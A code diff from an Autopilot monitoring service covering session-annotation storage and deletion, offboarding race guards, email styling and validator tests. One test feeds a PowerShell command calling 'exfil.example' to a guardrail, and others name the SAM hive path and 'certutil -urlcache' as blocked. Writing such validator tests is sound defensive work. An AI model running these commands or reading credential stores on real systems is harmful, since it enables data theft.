new("POST", "sessions/{sessionId}/report", EndpointPolicy.TenantAdminOrGA),
// Operator tier: submitting diagnostic files to the Autopilot Monitor team is a
// troubleshooting action, not a config change — a support-driven Operator may use it.
@@ -449,6 +461,8 @@ public static class EndpointAccessPolicyCatalog
new("GET", "global/session-reports", EndpointPolicy.GlobalReadOrAdmin, TenantScoping.QueryParam),
new("GET", "global/session-reports/download-url", EndpointPolicy.GlobalReadOrAdmin),
new("PATCH", "global/session-reports/{reportId}/note", EndpointPolicy.GlobalAdminOnly),
// Flywheel evaluation stream: all annotation lanes across tenants (verdict/rule filters).
new("GET", "global/session-annotations", EndpointPolicy.GlobalReadOrAdmin, TenantScoping.QueryParam),
new("GET", "global/rules/gather", EndpointPolicy.GlobalReadOrAdmin, TenantScoping.QueryParam),
new("GET", "global/rules/analyze", EndpointPolicy.GlobalReadOrAdmin, TenantScoping.QueryParam),
// Cross-tenant rule WRITES (edit/toggle/delete an existing rule in a foreign tenant). GlobalAdminOnly
@@ -28,6 +28,19 @@ namespace AutopilotMonitor.Functions.Services.Analyze
private int _queueEnsured; // 0 = not yet ensured, 1 = CreateIfNotExistsAsync has run
/// <summary>
/// Delay before the enqueued message becomes visible to the worker. The trigger event
/// (enrollment_complete / enrollment_failed) is by design the FIRST event of the
/// agent's terminal sequence — the terminal flush (stuck-app promotion's synthetic
/// app_install_failed, app_tracking_summary, esp_apps_failure_correlation,
/// agent_shutting_down) lands in separate uploads seconds later. An immediately
/// visible message let the worker evaluate rules against a stream missing those rows
/// (session 53d1e9f6: ANALYZE-ESP-004's optional app_install_failed condition never
/// matched, {{appName}} stayed a literal placeholder — and the RuleResult dedup makes
/// that permanent). 30 s covers the flush including the agent's late-event grace.
/// </summary>
private static readonly TimeSpan s_visibilityDelay = TimeSpan.FromSeconds(30);
public AzureQueueAnalyzeOnEnrollmentEndProducer(
QueueClientFactory queueFactory,
ILogger<AzureQueueAnalyzeOnEnrollmentEndProducer> logger)
@@ -53,7 +66,10 @@ namespace AutopilotMonitor.Functions.Services.Analyze
try
{
var body = JsonConvert.SerializeObject(envelope);
await _queueClient.SendMessageAsync(body, cancellationToken).ConfigureAwait(false);
await _queueClient.SendMessageAsync(
body,
visibilityTimeout: s_visibilityDelay,
cancellationToken: cancellationToken).ConfigureAwait(false);
_logger.LogInformation(
"Analyze enqueued (tenant={Tenant} session={Session} reason={Reason})",
envelope.TenantId, envelope.SessionId, envelope.Reason);
@@ -12,6 +12,7 @@ using Azure.Data.Tables;
using AutopilotMonitor.Functions.Security;
using AutopilotMonitor.Functions.Services.Tables;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.Models;
using AutopilotMonitor.Shared.Models.Deletion;
using Microsoft.Extensions.Logging;
@@ -117,17 +118,25 @@ namespace AutopilotMonitor.Functions.Services.Deletion
// ---- Step 16: F1 time-attribution breakdown (PK=tenant, RK=sessionId; PR2). ----
await AddPkRkExactStepAsync(manifest, order: 16, table: Constants.TableNames.SessionTimeBreakdowns, partitionKey: tenantId, rowKey: sessionId, cancellationToken);
// ---- Steps 17 + 18: SoftwareInventory side-row (omit both for pre-side-row sessions). ----
// ---- Steps 17-19: session annotations (PK=tenant, RK="{sessionId}_{lane}"). ----
// Lanes are a closed set of 3, so exact-RK steps cover every possible row.
var annotationOrder = 17;
foreach (var lane in AnnotationLanes.All)
{
await AddPkRkExactStepAsync(manifest, order: annotationOrder++, table: Constants.TableNames.SessionAnnotations, partitionKey: tenantId, rowKey: $"{sessionId}_{lane}", cancellationToken);
}
// ---- Steps 20 + 21: SoftwareInventory side-row (omit both for pre-side-row sessions). ----
var contributionsRow = await _reader.GetEntityOrNullAsync(
Constants.TableNames.SessionInventoryContributions, tenantId, sessionId, cancellationToken);
if (contributionsRow != null)
{
AddSoftwareInventoryDecrementStep(manifest, order: 17, contributionsRow);
AddContributionsRowStep(manifest, order: 18, contributionsRow);
AddSoftwareInventoryDecrementStep(manifest, order: 20, contributionsRow);
AddContributionsRowStep(manifest, order: 21, contributionsRow);
}
// ---- Step 19: Tombstone (SessionsIndex first, then Sessions). ----
AddTombstoneStep(manifest, order: 19, sessionsIndexRow, sessionRow);
// ---- Step 22: Tombstone (SessionsIndex first, then Sessions). ----
AddTombstoneStep(manifest, order: 22, sessionsIndexRow, sessionRow);
// PreflightCounts derive from each step's RowCount, plus the AGGREGATE decrements length.
manifest.PreflightCounts = ComputePreflightCounts(manifest);
@@ -433,7 +442,9 @@ namespace AutopilotMonitor.Functions.Services.Deletion
continue;
}
if (string.IsNullOrEmpty(step.Table)) continue;
counts[CamelCase(step.Table!)] = step.RowCount;
// Sum, don't overwrite: SessionAnnotations emits one step per lane on the same table.
var key = CamelCase(step.Table!);
counts[key] = counts.TryGetValue(key, out var existing) ? existing + step.RowCount : step.RowCount;
}
return counts;
}
@@ -39,9 +39,9 @@ public static class EmailTemplates
<!-- Header -->
<tr>
<td style=""background:linear-gradient(135deg,#2563eb,#4f46e5); padding:32px 40px; text-align:center;"">
<td style=""background:linear-gradient(135deg,#1e8a4c,#33b161); padding:32px 40px; text-align:center;"">
<h1 style=""color:#ffffff; margin:0; font-size:24px; font-weight:700;"">Autopilot Monitor</h1>
<p style=""color:#c7d2fe; margin:8px 0 0; font-size:14px;"">Windows Autopilot monitoring</p>
<p style=""color:#c9efd8; margin:8px 0 0; font-size:14px;"">Windows Autopilot monitoring</p>
</td>
</tr>
@@ -68,8 +68,8 @@ public static class EmailTemplates
</p>
<ul style=""color:#374151; font-size:14px; line-height:1.8; margin:0 0 24px; padding-left:20px;"">
<li><a href=""https://github.com/okieselbach/AutopilotMonitor/issues"" target=""_blank"" style=""color:#2563eb; text-decoration:underline;"">Open a GitHub Issue</a></li>
<li><a href=""https://www.linkedin.com/in/oliver-kieselbach/"" target=""_blank"" style=""color:#2563eb; text-decoration:underline;"">Connect on LinkedIn</a></li>
<li><a href=""https://github.com/okieselbach/AutopilotMonitor/issues"" target=""_blank"" style=""color:#1e8a4c; text-decoration:underline;"">Open a GitHub Issue</a></li>
<li><a href=""https://www.linkedin.com/in/oliver-kieselbach/"" target=""_blank"" style=""color:#1e8a4c; text-decoration:underline;"">Connect on LinkedIn</a></li>
</ul>
<p style=""color:#374151; font-size:15px; line-height:1.6; margin:0 0 24px;"">
@@ -117,9 +117,9 @@ public static class EmailTemplates
<!-- Header -->
<tr>
<td style=""background:linear-gradient(135deg,#2563eb,#4f46e5); padding:32px 40px; text-align:center;"">
<td style=""background:linear-gradient(135deg,#1e8a4c,#33b161); padding:32px 40px; text-align:center;"">
<h1 style=""color:#ffffff; margin:0; font-size:24px; font-weight:700;"">Autopilot Monitor</h1>
<p style=""color:#c7d2fe; margin:8px 0 0; font-size:14px;"">Windows Autopilot monitoring</p>
<p style=""color:#c9efd8; margin:8px 0 0; font-size:14px;"">Windows Autopilot monitoring</p>
</td>
</tr>
@@ -140,7 +140,7 @@ public static class EmailTemplates
<!-- CTA Button -->
<table cellpadding=""0"" cellspacing=""0"" style=""margin:0 auto 32px;"">
<tr>
<td style=""background-color:#2563eb; border-radius:8px;"">
<td style=""background-color:#1e8a4c; border-radius:8px;"">
<a href=""{Constants.DocsBaseUrl}"" target=""_blank""
style=""display:inline-block; padding:14px 32px; color:#ffffff; font-size:15px; font-weight:600; text-decoration:none;"">
View Documentation
@@ -164,8 +164,8 @@ public static class EmailTemplates
</p>
<ul style=""color:#374151; font-size:14px; line-height:1.8; margin:0 0 24px; padding-left:20px;"">
<li><a href=""https://github.com/okieselbach/AutopilotMonitor/issues"" target=""_blank"" style=""color:#2563eb; text-decoration:underline;"">Open a GitHub Issue</a></li>
<li><a href=""https://www.linkedin.com/in/oliver-kieselbach/"" target=""_blank"" style=""color:#2563eb; text-decoration:underline;"">Connect on LinkedIn</a></li>
<li><a href=""https://github.com/okieselbach/AutopilotMonitor/issues"" target=""_blank"" style=""color:#1e8a4c; text-decoration:underline;"">Open a GitHub Issue</a></li>
<li><a href=""https://www.linkedin.com/in/oliver-kieselbach/"" target=""_blank"" style=""color:#1e8a4c; text-decoration:underline;"">Connect on LinkedIn</a></li>
</ul>
<p style=""color:#6b7280; font-size:14px; line-height:1.6; margin:0;"">
@@ -391,11 +391,24 @@ namespace AutopilotMonitor.Functions.Services
if (c.CompletionEvent != null)
{
// Soft-failure marker from the V2 engine's enrollment_complete audit payload:
// the session completed while an ESP-failure advisory was still unresolved
// (Continue-Anyway observation / classic advisory defang). Stamped on the
// Sessions row so the UI can render the amber "completed with issues" badge.
var espSoftFailure = string.Equals(
c.CompletionEvent.Data?.ContainsKey("espSoftFailure") == true
? c.CompletionEvent.Data["espSoftFailure"]?.ToString() : null,
"true", StringComparison.OrdinalIgnoreCase);
var completionSource = c.CompletionEvent.Data?.ContainsKey("completionSource") == true
? c.CompletionEvent.Data["completionSource"]?.ToString() : null;
statusTransitioned = await _sessionRepo.UpdateSessionStatusAsync(
request.TenantId, request.SessionId, SessionStatus.Succeeded, c.CompletionEvent.Phase,
completedAt: c.CompletionEvent.Timestamp,
earliestEventTimestamp: c.EarliestEventTimestamp, latestEventTimestamp: c.LatestEventTimestamp);
_logger.LogInformation("{SessionPrefix} Status: Succeeded (transitioned={Transitioned})", sessionPrefix, statusTransitioned);
earliestEventTimestamp: c.EarliestEventTimestamp, latestEventTimestamp: c.LatestEventTimestamp,
espSoftFailure: espSoftFailure, completionSource: completionSource);
_logger.LogInformation("{SessionPrefix} Status: Succeeded (transitioned={Transitioned}, espSoftFailure={EspSoftFailure})",
sessionPrefix, statusTransitioned, espSoftFailure);
}
else if (c.FailureEvent != null)
{
@@ -214,7 +214,12 @@ namespace AutopilotMonitor.Functions.Services
rule.IsBuiltIn = false;
rule.IsCommunity = false;
if (existing != null)
{
rule.CreatedAt = existing.CreatedAt;
// Author is stamped from the creator's token at create time and is
// immutable afterwards — updates (incl. cross-tenant GA edits) keep it.
rule.Author = existing.Author;
}
rule.UpdatedAt = DateTime.UtcNow;
return await _ruleRepo.StoreGatherRuleAsync(rule, tenantId);
}
@@ -5,6 +5,7 @@ using System.Text.Json;
using System.Threading;
using System.Threading.Tasks;
using AutopilotMonitor.Functions.DataAccess.TableStorage;
using AutopilotMonitor.Functions.Functions.Admin;
using AutopilotMonitor.Functions.Services.Deletion;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.DataAccess;
@@ -88,6 +89,10 @@ namespace AutopilotMonitor.Functions.Services.Offboarding
// save), so the wipe cannot re-create a snapshot afterwards. The admin-config
// "GlobalConfig" partition never matches a tenant GUID and survives untouched.
Constants.TableNames.ConfigurationBackups,
// Session annotations (PK=tenantId). Deliberately WIPED — unlike Feedback, these
// are customer-entered notes tied to the tenant's sessions, not product feedback.
// Rows also die per-session via the deletion manifest; this covers offboarding.
Constants.TableNames.SessionAnnotations,
};
// Plan §6.4 — composite-PK "{tenantId}_..." wipes (Variant A range).
@@ -167,6 +172,7 @@ namespace AutopilotMonitor.Functions.Services.Offboarding
private readonly ITenantOffboardingEnqueuer _reEnqueuer;
private readonly OpsEventService _opsEvents;
private readonly ITenantCustomsArchiveRepository _customsArchive;
private readonly IConfigRepository _configRepo;
private readonly IOffboardFarewellEmailSender _farewellEmail;
private readonly ILogger<TenantOffboardingHandler> _logger;
@@ -182,6 +188,7 @@ namespace AutopilotMonitor.Functions.Services.Offboarding
ITenantOffboardingEnqueuer reEnqueuer,
OpsEventService opsEvents,
ITenantCustomsArchiveRepository customsArchive,
IConfigRepository configRepo,
IOffboardFarewellEmailSender farewellEmail,
ILogger<TenantOffboardingHandler> logger)
{
@@ -196,6 +203,7 @@ namespace AutopilotMonitor.Functions.Services.Offboarding
_reEnqueuer = reEnqueuer;
_opsEvents = opsEvents;
_customsArchive = customsArchive;
_configRepo = configRepo;
_farewellEmail = farewellEmail;
_logger = logger;
}
@@ -582,6 +590,27 @@ namespace AutopilotMonitor.Functions.Services.Offboarding
private async Task RunPostDrainPhasesAsync(
OffboardingHistoryEntry history, string tenantId, CancellationToken ct)
{
// 2.D-guard — un-offboard race check. The destructive phases below are only
// legal while the TenantConfiguration row is still the Phase-1 offboarding
// tombstone (or already deleted by a previous 2.F-final on this resume path;
// null passes). If an operator re-enabled the tenant mid-cascade — the config
// write paths refuse that, but this is the last line of defense — wiping now
// would destroy data of a live tenant, and sessions registered after the 2.B
// enumeration would survive as orphan rows while their Events/Signals
// partitions get wiped. Fail-closed; the Failed marker + OpsEvent route the
// conflict to an operator instead.
var currentConfig = await _configRepo.GetTenantConfigurationAsync(tenantId);
if (currentConfig != null && !TenantOffboardFunction.IsOffboardingTombstone(currentConfig))
{
var msg =
$"TenantConfiguration is no longer the offboarding tombstone " +
$"(Disabled={currentConfig.Disabled}, Reason={currentConfig.DisabledReason ?? "<null>"}) " +
"— refusing to wipe a re-enabled tenant.";
await FailAsync(history, tenantId, "unoffboard_race", msg, ct);
throw new InvalidOperationException(
$"TenantOffboarding fail-closed for tenant={tenantId} phase=unoffboard_race");
}
// 2.D-archive (PR3.B §3) — Archive then wipe GatherRules / AnalyzeRules /
// ImeLogPatterns. Fail-loud: a row that cannot be archived must NOT be wiped.
// After the third iteration if the source still has rows, throw with
@@ -29,6 +29,7 @@ namespace AutopilotMonitor.Functions.Services
private readonly SessionReportDiagnosticsArchiveCopier _diagnosticsArchiveCopier;
private readonly TenantConfigurationService _configService;
private readonly IRuleRepository _ruleRepo;
private readonly ISessionAnnotationRepository _annotationRepo;
private const string ContainerName = "session-reports";
public SessionReportService(
@@ -38,6 +39,7 @@ namespace AutopilotMonitor.Functions.Services
SessionReportDiagnosticsArchiveCopier diagnosticsArchiveCopier,
TenantConfigurationService configService,
IRuleRepository ruleRepo,
ISessionAnnotationRepository annotationRepo,
ILogger<SessionReportService> logger)
{
_notificationRepo = notificationRepo;
@@ -47,6 +49,7 @@ namespace AutopilotMonitor.Functions.Services
_diagnosticsArchiveCopier = diagnosticsArchiveCopier;
_configService = configService;
_ruleRepo = ruleRepo;
_annotationRepo = annotationRepo;
}
/// <summary>
@@ -95,6 +98,13 @@ namespace AutopilotMonitor.Functions.Services
// have changed by the time an operator investigates). Fail-soft; never blocks.
var tenantContext = await CollectTenantContextAsync(request.TenantId, reportId);
// Human annotations at report time — the submitter's own verdict/notes are exactly
// the context an investigating operator wants first, and the snapshot survives the
// session's retention/delete. ALL lanes are included: the report blob is readable
// only through the GA-only session-reports routes, so the platform-internal
// globaladmin lane never reaches tenant callers this way. Fail-soft; never blocks.
var annotations = await CollectAnnotationsAsync(request.TenantId, request.SessionId, reportId);
// Decode attachments up front so report-metadata.json can record their outcome
// instead of silently dropping invalid payloads.
var (screenshotBytes, screenshotStatus) = DecodeAttachment(request.ScreenshotBase64, reportId, "screenshot");
@@ -128,6 +138,12 @@ namespace AutopilotMonitor.Functions.Services
AddTextEntry(archive, "timeline.txt", request.TimelineExportTxt);
}
// Human annotations snapshot (all lanes) — omitted when none exist.
if (annotations is { Count: > 0 })
{
AddJsonEntry(archive, "annotations.json", annotations);
}
// Report metadata
AddJsonEntry(archive, "report-metadata.json", new
{
@@ -157,6 +173,9 @@ namespace AutopilotMonitor.Functions.Services
screenshot = screenshotStatus,
agentLog = agentLogStatus
},
// Count only — the rows themselves live in annotations.json. 0 with a
// missing annotations.json ⇒ either none existed or the read failed soft.
annotationCount = annotations?.Count ?? 0,
tenantContext
});
@@ -360,6 +379,35 @@ namespace AutopilotMonitor.Functions.Services
}
}
/// <summary>
/// Snapshot of the session's human annotations (all lanes) for annotations.json.
/// Fail-soft: a failed read yields null and never blocks the report.
/// </summary>
private async Task<List<object>?> CollectAnnotationsAsync(string tenantId, string sessionId, string reportId)
{
try
{
var rows = await _annotationRepo.GetForSessionAsync(tenantId, sessionId);
return rows.Select(a => (object)new
{
lane = a.Lane,
verdict = a.Verdict,
note = a.Note,
authorUpn = a.AuthorUpn,
authorDisplayName = a.AuthorDisplayName,
createdByUpn = a.CreatedByUpn,
createdAtUtc = a.CreatedAtUtc,
updatedAtUtc = a.UpdatedAtUtc,
ruleIds = a.RuleIds,
}).ToList();
}
catch (Exception ex)
{
_logger.LogWarning(ex, "Report {ReportId}: annotations snapshot failed — omitted from package", reportId);
return null;
}
}
/// <summary>
/// Decodes an optional base64 attachment. Returns the bytes plus a status string
/// ("none" | "included" | "invalid-base64") that is persisted in report-metadata.json —
@@ -175,6 +175,15 @@ namespace AutopilotMonitor.Functions.Services
if (!string.IsNullOrEmpty(reconcileReason))
indexEntity["ReconcileReason"] = reconcileReason;
// Soft-failure marker — rendered as the amber "completed with issues" badge in the
// index-served session list, so it must survive a StartedAt-shift full upsert too.
var espSoftFailure = sessionEntity.GetBoolean("EspSoftFailure");
if (espSoftFailure == true)
indexEntity["EspSoftFailure"] = true;
var completionSource = sessionEntity.GetString("CompletionSource");
if (!string.IsNullOrEmpty(completionSource))
indexEntity["CompletionSource"] = completionSource;
// Device-validation path recorded at registration (AutopilotV1 / CorporateIdentifier /
// DeviceAssociation / Bootstrap) — index-served session reads must carry it too.
var validatedBy = sessionEntity.GetString("ValidatedBy");
@@ -647,6 +656,7 @@ namespace AutopilotMonitor.Functions.Services
// fresh-read window isn't reverted by the Replace below (see guard).
"Status", "CurrentPhase", "CompletedAt", "FailureReason", "ReconcileReason",
"FailureSnapshotJson", "FailureSource", "AdminMarkedAction", "DurationSeconds",
"EspSoftFailure", "CompletionSource",
});
freshEtag = freshResponse.Value.ETag;
freshEntity = freshResponse.Value;
@@ -686,7 +696,7 @@ namespace AutopilotMonitor.Functions.Services
|| freshStatus == SessionStatus.Incomplete.ToString())
{
entity["Status"] = freshStatus;
foreach (var col in new[] { "CurrentPhase", "CompletedAt", "FailureReason", "ReconcileReason", "FailureSnapshotJson", "FailureSource", "AdminMarkedAction", "DurationSeconds" })
foreach (var col in new[] { "CurrentPhase", "CompletedAt", "FailureReason", "ReconcileReason", "FailureSnapshotJson", "FailureSource", "AdminMarkedAction", "DurationSeconds", "EspSoftFailure", "CompletionSource" })
{
if (freshEntity!.TryGetValue(col, out var val) && val is not null)
entity[col] = val;
@@ -1590,7 +1600,7 @@ namespace AutopilotMonitor.Functions.Services
: null;
}
public async Task<bool> UpdateSessionStatusAsync(string tenantId, string sessionId, SessionStatus status, EnrollmentPhase? currentPhase = null, string? failureReason = null, DateTime? completedAt = null, DateTime? earliestEventTimestamp = null, DateTime? latestEventTimestamp = null, bool? isPreProvisioned = null, bool? isUserDriven = null, DateTime? resumedAt = null, DateTime? stalledAt = null, bool clearStalledAt = false, bool clearFailureReason = false, string? failureSource = null, string? adminMarkedAction = null, string? failureSnapshotJson = null, bool allowTerminalReclassification = false)
public async Task<bool> UpdateSessionStatusAsync(string tenantId, string sessionId, SessionStatus status, EnrollmentPhase? currentPhase = null, string? failureReason = null, DateTime? completedAt = null, DateTime? earliestEventTimestamp = null, DateTime? latestEventTimestamp = null, bool? isPreProvisioned = null, bool? isUserDriven = null, DateTime? resumedAt = null, DateTime? stalledAt = null, bool clearStalledAt = false, bool clearFailureReason = false, string? failureSource = null, string? adminMarkedAction = null, string? failureSnapshotJson = null, bool allowTerminalReclassification = false, bool espSoftFailure = false, string? completionSource = null)
{
SecurityValidator.EnsureValidGuid(tenantId, nameof(tenantId));
SecurityValidator.EnsureValidGuid(sessionId, nameof(sessionId));
@@ -1701,6 +1711,18 @@ namespace AutopilotMonitor.Functions.Services
var reconcileReason = ComputeReconcileReason(existingStatusStr, failureReason, adminMarkedAction);
if (reconcileReason != null)
update["ReconcileReason"] = reconcileReason;
// Soft-failure marker (Continue-Anyway observation / advisory-defang):
// the session succeeded, but the ESP demonstrably gave up on at least
// one blocking item first. Rendered as the amber "completed with
// issues" badge. Only ever stamped alongside a Succeeded transition —
// absence means a clean success.
if (espSoftFailure)
{
update["EspSoftFailure"] = true;
if (!string.IsNullOrEmpty(completionSource))
update["CompletionSource"] = completionSource;
}
}
else if (status == SessionStatus.Failed)
{
@@ -1973,6 +1995,13 @@ namespace AutopilotMonitor.Functions.Services
var forceReconcileReason = ComputeReconcileReason(freshStatusStr, failureReason, adminMarkedAction);
if (forceReconcileReason != null)
forceUpdate["ReconcileReason"] = forceReconcileReason;
// Mirror the normal path's soft-failure marker.
if (espSoftFailure)
{
forceUpdate["EspSoftFailure"] = true;
if (!string.IsNullOrEmpty(completionSource))
forceUpdate["CompletionSource"] = completionSource;
}
}
else if (status == SessionStatus.Failed)
{
@@ -2928,6 +2957,8 @@ namespace AutopilotMonitor.Functions.Services
FailureReason = entity.GetString("FailureReason") ?? string.Empty,
FailureSource = entity.GetString("FailureSource") ?? string.Empty,
ReconcileReason = entity.GetString("ReconcileReason") ?? string.Empty,
EspSoftFailure = entity.GetBoolean("EspSoftFailure") ?? false,
CompletionSource = entity.GetString("CompletionSource") ?? string.Empty,
AdminMarkedAction = entity.GetString("AdminMarkedAction"),
ValidatedBy = entity.GetString("ValidatedBy") ?? string.Empty,
PendingActionsJson = entity.GetString("PendingActionsJson") ?? string.Empty,
@@ -4,6 +4,7 @@ using System.Linq;
using System.Reflection;
using System.Threading.Tasks;
using AutopilotMonitor.Functions.DataAccess.TableStorage;
using AutopilotMonitor.Functions.Functions.Admin;
using AutopilotMonitor.Functions.Helpers;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.DataAccess;
@@ -131,6 +132,7 @@ namespace AutopilotMonitor.Functions.Services
"Disabled", "DisabledReason", "DisabledUntil",
"AllowInsecureAgentRequests", "BootstrapTokenEnabled",
"UnrestrictedModeEnabled", "EntraAppRolesEnabled",
"EnableEspContinueAnywayObservation",
"CustomRateLimitRequestsPerMinute", "CustomUserRateLimitRequestsPerMinute",
"ValidateDeviceAssociation", "MaxNdjsonPayloadSizeMB",
};
@@ -185,6 +187,14 @@ namespace AutopilotMonitor.Functions.Services
return PatchOutcome.Fail(PatchFailure.NotFound, $"Tenant {tenantId} has no configuration row.");
var (initial, etag) = read.Value;
// Mid-offboarding freeze: while the row is the offboarding tombstone, the
// cascade owns it. Any patch — a GA lifting Disabled included — would race
// the queued wipe: data written afterwards gets destroyed, and sessions
// registered after enumeration would survive as orphans.
if (TenantOffboardFunction.IsOffboardingTombstone(initial))
return PatchOutcome.Fail(PatchFailure.ValidationFailed,
"Tenant offboarding is in progress — the configuration is frozen until the cascade completes.");
// Patch onto a deep clone; MissingMemberHandling.Error is belt-and-braces on
// top of the key gate above. JSON null = explicit clear; omitted = untouched;
// camelCase input binds case-insensitively to the PascalCase model.
@@ -275,6 +285,12 @@ namespace AutopilotMonitor.Functions.Services
return PatchOutcome.Fail(PatchFailure.NotFound, $"Tenant {tenantId} has no configuration row.");
var (current, etag) = read.Value;
// Same mid-offboarding freeze as ApplyFieldPatchAsync: a revert restores a
// pre-offboarding snapshot with Disabled=false — the exact un-offboard race.
if (TenantOffboardFunction.IsOffboardingTombstone(current))
return PatchOutcome.Fail(PatchFailure.ValidationFailed,
"Tenant offboarding is in progress — the configuration is frozen until the cascade completes.");
var candidate = DeepClone(target);
// Identity is never restored from a snapshot; protected/system-owned fields
// only with the explicit GA opt-in.
+4 -4
View File
@@ -24,7 +24,7 @@
"@types/compression": "^1.8.1",
"@types/express": "^5.0.6",
"@types/node": "^22.20.1",
"tsx": "^4.23.1",
"tsx": "^4.23.11",
"typescript": "^5.0.0",
"vitest": "^4.1.10"
},
@@ -3823,9 +3823,9 @@
"optional": true
},
"node_modules/tsx": {
"version": "4.23.1",
"resolved": "https://registry.npmjs.org/tsx/-/tsx-4.23.1.tgz",
"integrity": "sha512-GQHnkIfxyx1wYCOS/wonik5MVRZU9hi1TEZmzGZSCJB1y9YgoZ8H6itNE/u4suE+yLmOzuE4E5S4TZ/ZX2wcWQ==",
"version": "4.23.11",
"resolved": "https://registry.npmjs.org/tsx/-/tsx-4.23.11.tgz",
"integrity": "sha512-Ry2oTEUnhBdeEdWIztY8kf3/nBGnPnjMLVGL0YfdRXMORuPER5NlKmayqxtxRxwB1xBN+RivRaJfe7PM1rtiyw==",
"dev": true,
"license": "MIT",
"dependencies": {
@@ -32,7 +32,7 @@
"@types/compression": "^1.8.1",
"@types/express": "^5.0.6",
"@types/node": "^22.20.1",
"tsx": "^4.23.1",
"tsx": "^4.23.11",
"typescript": "^5.0.0",
"vitest": "^4.1.10"
},
@@ -113,6 +113,65 @@ describe('gather guardrails (agent matching semantics)', () => {
expect(errors(validateRuleDraft(bad).findings).some((m) => m.includes('hard-blocked'))).toBe(true);
});
it('rejects the registry-hive store path (System32\\config) as hard-blocked', () => {
const bad = validGather();
bad.collectorType = 'file';
bad.target = 'C:\\Windows\\System32\\config\\SAM';
expect(errors(validateRuleDraft(bad).findings).some((m) => m.includes('hard-blocked'))).toBe(true);
});
it('validates json/xml targets with file-path semantics', () => {
const okJson = validGather();
okJson.collectorType = 'json';
okJson.target = 'C:\\ProgramData\\Microsoft\\IntuneManagementExtension\\Logs\\state.json';
expect(validateRuleDraft(okJson).valid).toBe(true);
const blockedJson = validGather();
blockedJson.collectorType = 'json';
blockedJson.target = 'C:\\Users\\admin\\AppData\\Local\\app\\state.json';
expect(errors(validateRuleDraft(blockedJson).findings).some((m) => m.includes('hard-blocked'))).toBe(true);
const badXml = validGather();
badXml.collectorType = 'xml';
badXml.target = 'D:\\NotAllowed\\config.xml';
expect(errors(validateRuleDraft(badXml).findings).some((m) => m.includes('allowed file prefix'))).toBe(true);
});
it('rejects hard-blocked command patterns and over-length commands', () => {
const blocked = validGather();
blocked.collectorType = 'command_allowlisted';
blocked.target = 'Get-Tpm; Invoke-WebRequest -Uri https://exfil.example';
expect(errors(validateRuleDraft(blocked).findings).some((m) => m.includes('hard-blocked pattern'))).toBe(true);
const long = validGather();
long.collectorType = 'command_allowlisted';
long.target = 'Get-Something ' + 'a'.repeat(2100);
expect(errors(validateRuleDraft(long).findings).some((m) => m.includes('character hard limit'))).toBe(true);
});
it('still accepts allowlisted commands that contain no blocked pattern', () => {
const ok = validGather();
ok.collectorType = 'command_allowlisted';
// must not be caught by the "certutil -urlcache" pattern
ok.target = 'certutil -store My';
expect(validateRuleDraft(ok).valid).toBe(true);
});
it('rejects activePhases + activeFromPhase set together (backend 400 parity)', () => {
const bad = validGather();
bad.activePhases = ['DeviceSetup'];
bad.activeFromPhase = 'AccountSetup';
expect(errors(validateRuleDraft(bad).findings).some((m) => m.includes('mutually exclusive'))).toBe(true);
const okPhases = validGather();
okPhases.activePhases = ['DeviceSetup'];
expect(validateRuleDraft(okPhases).valid).toBe(true);
const okFrom = validGather();
okFrom.activeFromPhase = 'AccountSetup';
expect(validateRuleDraft(okFrom).valid).toBe(true);
});
it('accepts an allow-listed file target and rejects others', () => {
const ok = validGather();
ok.collectorType = 'file';
@@ -137,6 +196,37 @@ describe('gather guardrails (agent matching semantics)', () => {
expect(validateRuleDraft(spoof).valid).toBe(false);
});
it('WMI: property projection of an allowed class is admitted', () => {
const single = validGather();
single.collectorType = 'wmi';
single.target = 'SELECT BatteryStatus FROM Win32_Battery';
expect(validateRuleDraft(single).valid).toBe(true);
const multi = validGather();
multi.collectorType = 'wmi';
multi.target = 'SELECT BatteryStatus, EstimatedChargeRemaining FROM Win32_Battery WHERE BatteryStatus = 1';
expect(validateRuleDraft(multi).valid).toBe(true);
});
it('WMI: projection of a disallowed class and star-in-list are rejected', () => {
const badClass = validGather();
badClass.collectorType = 'wmi';
badClass.target = 'SELECT Name FROM Win32_Process';
expect(validateRuleDraft(badClass).valid).toBe(false);
const starMix = validGather();
starMix.collectorType = 'wmi';
starMix.target = 'SELECT *, Name FROM Win32_BIOS';
expect(validateRuleDraft(starMix).valid).toBe(false);
});
it('WMI: leading whitespace is trimmed like the agent does (no false positive)', () => {
const padded = validGather();
padded.collectorType = 'wmi';
padded.target = ' SELECT * FROM Win32_BIOS';
expect(validateRuleDraft(padded).valid).toBe(true);
});
it('commands match exactly — extra arguments are rejected', () => {
const ok = validGather();
ok.collectorType = 'command_allowlisted';
@@ -108,6 +108,7 @@ describe('role catalog snapshot — privilege-leak guard', () => {
// This is the source of truth. A new tool MUST be added here, or the GA test
// fails — that failure is the deliberate prompt to decide its role placement.
const GA_FULL = [
'annotate_session',
'get_api_usage',
'get_app_install_metrics',
'get_audit_logs',
@@ -136,6 +137,7 @@ describe('role catalog snapshot — privilege-leak guard', () => {
'get_usage_metrics',
'get_vulnerability_summary',
'list_blocked_devices',
'list_session_annotations',
'list_session_reports',
'list_tables',
'list_tenant_config_backups',
@@ -178,17 +180,23 @@ describe('role catalog snapshot — privilege-leak guard', () => {
'update_tenant_config',
];
// Session-annotation write surface: strictGa only — a read-only Global Reader
// reads annotations (list_session_annotations) but never writes the GA lane.
const ANNOTATION_WRITE_GA_STRICT = ['annotate_session'];
// Platform-only tools: a non-platform caller (tenant or delegated) gets no
// cross-fleet aggregate surface at all. Superset of RAW_GA_STRICT and
// CONFIG_WRITE_GA_STRICT (those are also platform-only) plus the curated
// cross-tenant aggregates.
const PLATFORM_ONLY = [
'annotate_session',
'get_api_usage',
'get_ops_events',
'get_platform_metrics',
'get_tenant_config',
'get_tenant_config_schema',
'list_blocked_devices',
'list_session_annotations',
'list_session_reports',
'list_tables',
'list_tenant_config_backups',
@@ -212,9 +220,9 @@ describe('role catalog snapshot — privilege-leak guard', () => {
expect(registeredToolNames(true, true)).toEqual(GA_FULL);
});
it('Global Reader = GA minus the secret-bearing raw tools and the config-write surface (strictGa split)', () => {
it('Global Reader = GA minus the secret-bearing raw tools, the config-write surface and the annotation write (strictGa split)', () => {
expect(registeredToolNames(true, false)).toEqual(
without(GA_FULL, [...RAW_GA_STRICT, ...CONFIG_WRITE_GA_STRICT]));
